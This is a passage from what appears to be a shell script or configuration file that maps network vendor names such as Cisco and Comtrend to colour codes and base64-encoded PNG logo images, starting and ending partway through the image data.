XRSh7ey/G99YKLc1mKfaxyNEbtt+FTEf6XArMTxWUMRfbomQh/LvXQBZmkGL0uGuG7AO45I0Y2dwKvAdCBfpEWZc3qRNhcYA3znGuVOfK7XlhqMo4EmrnMa6H5yRXxQbAfuAN71CTS26lgCvKxI/EGgh+u8lsAbQC+dn/AaVw94zYO0gxqdnYCRWmSjJM0LxcBdWifm+5DmxHrgRUXFMyyftwOeSsCGjcDZ6qug0eF+2Xu+liCbDY/7TSw/4sbKvbhRJH88VHlJdWEXMAwYR9XE502YraN3LJ/1VafaghMn/lRKtLyK91AE3C7S3RgAXJIocV2BqyztexTGvlbNwsE+4EatvclgD3CtXJxbVBipoKHU5/+fAuaFcC8jXHlhecAyUDliIOIygCsteVeZcp53U0CGejEE0pzu9hYpGk700lpX6hOMPROSDUXAvRII3IFhx6DEHetwE07M9/DHhxobgIdD/s4/lBu6McwnOX824JoaFJ8CX1uUoV5BiesMnGBpHx+yoTa0xWie9eRCbBLZc1pbwsZHikrdI962zhcC0yKw4S1LW4+gxHW1tBUov4gKGQqGVihs/14BgluI3Qx8EpENuz3WOtuIn6NZGjYWWxSmzkGJs/nUWRb/GyY6AXdrIc4EmitJzXKd9xOwJkI7llpC+jqW8xYSvmBenuutsaRlgYg7ztL2Q8QuMqiOmc8/emUUWEtFURkPDxTVrP8rSN/YiDvRI4KKEpsDnhd1kr9NKkh1oQYBxeoaAduifhYrg/RCtdtbI6Dbyk6RjojajlqWdTUlYSPOtiPcPmI7WgY8r3XEdjSlovCcNsRtChhphokTPBZqtwbZHP99tWTRgn/XqqQVccstbblEWxGWa2mbBvxiSRu6R2jH+Zb73JguxC2ytDWnCnURCaxbbnXgAEbIdktAWcDlEdnRDFM/4kQRZlM0LYhbjX0TcTgeSnWS6Ke1xYk1mB1g25ZLf4wUFTZGUbGsYApmFz0tiCvA7Gjb3NmlIV8/ByPkuiO5+cqp5lBxuyMbU+fYMEQ7BmAvR5hEij5MaSPuAGbr3P0AYSZmq/34EK8/wrJm7cFUPIHZcnmCinJbO4zYHEbJX1eMTurGHIxuWjtdiANTMznV0t4WsxcWRocNB+6ztL/Cv5Waj7ALy/01I5IJ3/tgFPnmrvZSzCZpqXK7tCGu3Odvs7T3Vme2qeI1s4A7MZuQNhF5jCVAuIeKGh6Yrf0FigYTqWvMwezpTfbwIC8AH+vvsnQjrgBTW1Ji+ayn3MgQPNRrj87Kw+w02AphSuU6bYHRKuA27PX2bTSQ3sMUyLbwSF3qKp24SdHq/R6eYx5mNzqlUVlu9iFwq2aH22U0Vsj+JfCZXn/CyFdlem0s99pRa0lPj+vsVYfO9rFlEqb28THsslRfHWsUGa9zrI05Ume64F9uvgBTa1Oc7sSBqQFEwYAtHeimY5fFndXFFKP6zey9Wu8mBrBlvAbFOJ/U5ETsOxyVYTpwNdW7OxCKq3STdxH+1bVHyE05jwaVXGO5crKJCdg8QUl4WBuqW4AHlOrYSDuYzsShyC5PQUtBktfdjqkkzpN7ShRTgXPV4VWVpAoVhFygQMWLoPqHkI8MiyfJqqqrdGIr8KjyvP5yLa0DpgfFGAH7eUx9/dokb3KjOnyixIFBwCmYUoMsDcrytbb8ubjdmIKgT7Se5ge4zmxMuWK2yF2EKSOPAtsVHHXQPezHPBFUkWH371Um+JNQTYDT1HEdsD9Mka+gZSGmGCYqCekYBR5dFIjUdhC3A/MQxjpMkU9hAt+bCVyMKdopVkfmRzjrcrQUtMKI7JMn1Fy9tVLiYqQH4l9diImLERMXIyYuJi5GTFyM5PH3AIp6sW5MSqkHAAAAAElFTkSuQmCC' ["Cisco"]='#5B5B5B #8AB8E6 #D7D7D7 data:image/png;base64,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' ["Comtrend"]='#14317F #2D3E6A #5B5B5B data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAawAAAE7CAYAAACBq7VXAAAAAXNSR0IArs4c6QAAIABJREFUeF7tnQl4TFf/x++dyb5YY4ud2mvXUqUVS2PfRYQgtlgiJKhqVafU0kUSu9gJSUSVUooibakqqq1Wqyi1b5EgezIz9/+Mv3gjncycc+6dmXtnvp7nfZ73ffNbP78z5zt35s65PId/IAACIAACIKAAArwCakSJIAACIAACIMBBsLAIQAAEQAAEFEEAgqWIMaFIEAABEAABCBbWAAiAAAiAgCIIQLAUMSYUCQIgAAIgAMHCGgABEAABEFAEAQiWIsaEIkEABEAABCBYWAMgAAIgAAKKIADBUsSYUCQIgAAIgAAEC2sABEAABEBAEQQgWIoYE4oEARAAARCAYGENgAAIgAAIKIIABEsRY0KRIAACIAACECysARAAARAAAUUQgGApYkwoEgRAAARAAIKFNQACIAACIKAIAhAsRYwJRYIACIAACECwsAZAAARAAAQUQQCCpYgxoUgQAAEQAAEIFtYACIAACICAIghAsBQxJhQJAiAAAiAAwcIaAAEQAAEQUAQBCJYixoQiQQAEQAAEIFhYAyAAAiAAAoogAMFSxJhQJAiAAAiAAAQLawAEQAAEQEARBCBYihgTigQBEAABEIBgYQ2AAAiAAAgoggAESxFjQpEgAAIgAAIQLKwBEAABEAABRRCAYCliTCgSBEAABEAAgoU1AAIgAAIgoAgCECxFjAlFggAIgAAIQLCwBkAABEAABBRBAIKliDGhSBAAARAAAQgW1gAIgAAIgIAiCECwFDEmFAkCIAACIADBwhoAARAAARBQBAEIliLGhCLlSEAQBPWihDMBG7/+I+DirbTaLk7qciqOcxY4Ts1xnIrjOD3PcTq9IOTlafUP2r1c+Uy/N+vsnzawxU459oOaQEDuBCBYcp8Q6rMpgaidP/d7Z/WxZXlafaVnImSRenie1/E89+eXmj7BvdrX+s0iSRAUBBROAIKl8AGifOkI3BAE99pvLfk5T6tvIF1UUZH0TmrVb9rDU1uIigJnELATAhAsOxkk2mAj4NJlyck8ra41m7fVvfTN6pSL/3VNcLDVMyMhCMiAAARLBkNACdYl4PrWkpu5+brK1s0qfTY3Z6cfcw6Ft5U+MiKCgDwJQLDkORdUJTGBUr2WH3mUkddR4rCyCRfoV/e9xDk9F8imIBQCAhYgAMGyAFSElA8BVcfoPL0gOMunIstW4ubs9DDnULiPZbMgOgjYhgAEyzbckdWCBD7a8mOv2Rt/3GPBFLIPbbjr8I9lUz0aNeLzZF8sCgQBQgIQLEJQMJM/gYFzv5r+efLFT+VfqXUrPLtqYOUW9avdtm5WZAMB6QlAsKRniohWJjB73Ym+H207ucvKaZWXLjkSr3flTQ0VFyKABYzloGwCflGCshuwbvU8z2mFo5EO852edekim6UJQLAsTRjxLUJA1SkmU6/Xe1gkuAME9fZwOZ++L+xlB2gVLdoRAQiWHQ3TEVqpGbR+3dU7j0c7Qq/W6DHx/R7NAjvWw1FQ1oCNHKIJQLBEI0QAqxHwi9ZznIA1KzFwtYrP1B2J8JI4LMKBgOQE8OKXHCkCSk2gVtC6lVfuPJkgdVzEe5HA3vn9GvRqW/MCuICAXAlAsOQ6GdT1lICqY1S2XuDcgMM6BDzdnG9lfj25inWyIQsI0BGAYNHxgrU1CeAOQGvSLpSLF7jkCMPzvPAPBGRFAIIlq3GgGAOBmkPWL7169/Fk0LAtgW8+DazepZXvddtWgewg8D8CECysBlkRcH1r6b3cfG15WRUlk2Kqlff+vW1D350PnmSe+OnCg5s1KpfN8/EQdIbyrt9Jd7ly77FLgF/Dxpk5uX6Hztzon6/VlRVbemUfr023dowLERsH/iAgBQEIlhQUEUMSAnzH6DyB4aBaw0berrFvUr5Wf4FXqVS5ebp2X/5weSTHcd6SFGbFIKW83K6r9ULXh/sm/WWJtD1n7qnGq/TT9p68Ek4a393V6U72gXBfUnvYgYClCECwLEUWcekIEN6y3r5J1YTJfRuOC/BrlEGaYErM4QpL9py7zQmc7L6XKV/a4+LEgfVe1wT5pZD2I7XdxBXJFY+fvb713JWHnYqLrVLxWfojEZ5S50Y8EKAhAMGioQVbyxAwc3NF//Yvjf9ibu9YKZLzHaO1giCopYjFGqNd4yqfH18aMIjV39J+BgFLOPTXybQnOdUL5+J5Ti8cjbQpO0v3jvjyJgDBkvd87L+6YsRKpeLT58xuVkbj56eVGkLQR/vD4o9cWCZ1XDPx0jeG+1UL6df8kZXzik3H9529d87uHy5p/j8Q7iAUCxT+7AQgWOzs4CmWgBGxeqNJ5djvlwweLza0Of+Riw722nTwvMWfmVWlvNf5m9vH2c2Zfb3f+/LtPSeuLMJt7+ZWGP5uCQIQLEtQRUzzBIqIVcdmVd8/Gj3oI/OO0lk4dVlyQ6vVWeRHso1r+nz3+4bhHaSrVl6RkpKS1AEBAU/vUMQ/ELAWAQiWtUgjz/8IFBKrupVL/3Bxa0g7m+GR/sfJ6VxyZAlL9hP00f7pe05cmZqRnVeZLQ8veLk73Wr6ks+OH5YOiWSLAS8QsD4BCJb1mTt2xv/dDZitefOJl0aj0dsSiEuXmOt5Wn1VKWpIntPc2c8C37n5Dlyz/fbDjAEcx1n0hgdXF/WTEV0bzVgT0XmNFDwQAwSkJgDBkpoo4hVLgO8YpRMETtWlVY0O33za/zs5oBIEQcV3jBb10daAdrUn75zXZ7mU/Xj4L92flaftJmVM2lhe7i43ft83qW5Nns+h9YU9CFiCAATLElQR8z8EnDrHPNTq9O5ccqSsHrrYbFzcJ79eejCDeWTJkYbfdkny1OOkJEE9eFV0jsBxTsz1WMjR2UmdsfvjXi/3aFHrmoVSICwImCUAwTKLCAZiCVQJiI2rUNrj/s+xwdNoYt2+fdsj6NMf5pz443ZHV2d1CZ2gz/d2d/5j24f9p3ZuXOEeTaxibRm/w6pTpfSpS3EhraWoIfbMbY/QGYmZUsSyRgxPN+cbmV9PrmaNXMgBAoUJQLCwHixKYP9vN6vE7folJ0HTy+xJDq+Mj//szMV74TTHM7Vp6Lv45IrA6UxNMIrV+N7Na66O8PuXKWchJ0EQeL5jdL6lv5sSW6cJf6FTi6qzjywetMCCORAaBJ4TgGBhMViUwNNNmeeL/cjMp/eq7Snp2QFii2hRp9zys2uCyU94ZxQrTqKPAL26L7uXkZ1vN4f8erk7X8jYP7mB2DnCHwRMEYBgYX3YhIC6U0y2Tq+X9MGMPM9phaORzuYaYj6eKTlS9Otl/w/Xa3ef/fllczUq9e/OanVG/uEpijt0WKm8Ha1u0S9ARwOGftkJnL9/36vR4K1PDOf7sEcx66njkiOLvWlB1Sk6Q68XaA9xzeCSI0Vvwp7dlz/IzM7zMduBHRhEjXv9lcghrc/YQStoQUYELLlxyKhNlGJrAqpOUbl6PedijTo83JxuZn0d/p/fVpXrt+rHB4+y29DU4OHqdD/rQHgFGh+jtqwfQYpObMMAElyR2rB6pJYhAQiWDIdiTyX59F15LOVxjtVPsmhQp5zvX2uC7xSwnL3hRM+P4k7upWFboYzn5Xs7Q+vQ+BS1TT51taLfzF3P6xATS4RvhqebS4anuzojM1vnlZmT58VxnOE/Fv3npFY90R6eWtKiSRDcoQhAsBxq3FZu1i/KcIqF7dZY4Xf4lFc4ZbzdrqfumfjC4zVo6TUYsWXlX9dTJtD60drzHJfesIbPoLVz/b5vW7VqNq1/Yfut+y+ViFh9pFm2TpuQkZUn+qGNMwe3fPPj8W9+L6Ym+IJAAQHbbSaYgd0SqBm0fsnVO4+Jn2hrKRAh3RoEbXy7WwJH+HDIgjrUav6x7nBEKTF1leq14vSjjNxWYmKY8BVqVynV+Z+4UUctFP+FsIY7PesN39Tt4s20zzmOc6fOiY8GqZHBwTgBCBZWhqQEnDvHPMjX6U3eWPBqg4q7pnR/efTQnk3Sikt+8Le7nkM/2PVzyuPsemIKrFreO/7G/fQgihiZXHKkqI/LvHssu5KelV+TIieRaa/XakXuXdA3msjYgkaGEzliT+5ccuSX65NI0pTycj3/aO8ku3nECknPsLEMAQiWZbg6ZNSCswKNNV/bt9TJy1tD2pr6TVZx0FqFbttw5uK9EKtAFXk14Nl92bXM7HxJT4FoUbts07PrRpyzSv8MSZqP3Rb4y+V7CSZdRXJlKAsudkgAgmWHQ7VJS8V8X9WwZpnBf24YmSRJTX5RhkNqDWf3WeafyE21RI9ll59k5deWqrhebWtN2ju/70qp4lkjzmuTEjb9+OedEUVzqXg+V380QtLf3VmjH+SQFwEIlrzmochqfAeuXnH7YdbEwsU3q1M+7Nc1w1ZI3VC1wWu+uX4/o7PUcQdNqOK0Q8QDCcv2WXXi4ZPs16SoS63m03SHI8pIEctWMabGfl8pJvH0FY7jn4vUDzG9K7ze9KX7tqoJeZVPAIKl/BnavoNCd+C5uTil5RwMt+hm23f2rr67f7i6S6rGQ3s0aRQ7vfOfrPHaT0788Ngft+ew+hf2mzSgaY0VYZ3s6kT0RiFbDpz/N8X/6an2/3+0Ff6BABMBCBYTNjgVEKg0MHbnnYeZ/Q3/e9AbL1Xf8WHv69agM0Dz1aid311cLzbXS4bv1raNYr4yuvRQKFFnYPRjsXVwHC9wyRF2vZk3CNk8OKRbg7/fDnj1V/G8EMERCUCwHHHqUvb89OpKyOGSp9Hf7iyyDo+uS89n5Wobigoj8nsrjvL3XcZqtcVHgBqNRvXR8dJf6HT67gInmD1/sVDdQmlvt4st65aPO/zZwPmi2MMZBCgJQLAogcH8fwQqDli9kef5lnc+D21iMy5ibsSQgVg1ruWz//f1w3tYg9+s9cd7L9x6aidngQdElvR0ub4g5PWBkwY0P22NXpDDMQlAsBxz7pJ0XSd449JLcSE2/YHwGUFwbtUxOo+2oRH+DV/e/E7X87R+BfZ8x6hcQRB3NmLX1jUXHljU713WGkj9vHssv5OelVeR1F4CO6FJ7XILz60Lfk+CWAgBAs8JQLCwGJgI7L90ybV7nTq5TM4SO6k6RufpBaqPtbK45EjaE9ufV90ydNviny/eixTTRo/WNefsW9RvnpgYpnz377/k2v3TvRmWuJqiqdnFWf0k79AUnCdIAw22xRKAYGFxKJ7Amdu3PVoNpXjEvI0/Cmz3su+W48sC//NbJckG4RdleIpxsY9YkSwPTSCe019d38+zZs2aOTRusAWBwgQgWFgP9kGA8OaH8D6vVF86tT37nYyEeYqDWrak28WHuyeKOm6quNile6/4JS09t5mcB8rzXJ5wNNJVzjWiNvkSgGDJdzaKrezctUel206I25WRnd+W47gX7kAzbFjVypVYd237GKJz6EggOHdZkpqv1ZUmsBX1UWCJnisuPMnMZRYbw6nqQnJkCYI6qUymrzpY/rOk8/eonGxs7OqsfpB7aEp5G5eB9AojAMFS2MDkWu6764/7Ldx26gDNjQgqFZ+nPxIh/t026VWPjT8K5MTmNzL8kr1W/PU4I7e+XNeF2boswMRsThgolgAES7Gjk0fhVQatWXczJWO0mGpea1hp4Y8rhjDdLafqFJ2r1wtmn2TcuXm10YejBm5grpNUFItLYImNWWxNzDAkdLQEFwnLQyh5EYBgyWseiqnm+IUH3u0mxD2RquASHq4/Pdk3ierx9U9zk27aIjZGnz6rTqc8yWZ+ttX55RGujRrx1LfeF8dWs+F0LU3csX+kYm/LOGVLuO1++OXEfrasAbmVQwCCpZxZyabSKgFrvrr5IEPyH7uW9HA583hf2CvEjRI+0XhU19olNszsk04ct6ghqSgaSdCpRdWVRxYPkuz7umqD1669fj99DHMvcnQU8WZCju2gJssRgGBZjq1dRnbuHJOWr9OLehqvKTB1q5ZZd3HLyLHm4B2/cMG73YT95q/weD6LOxrB/JsrU8/4Mlfj079LuBmX6bPqXOqT7MZEeZVkJCEjJbWNWukJQLDomTmsh3PnmPR8nV7U03hJ4DWuWar27xtGXTFpS/jYe82bEWqN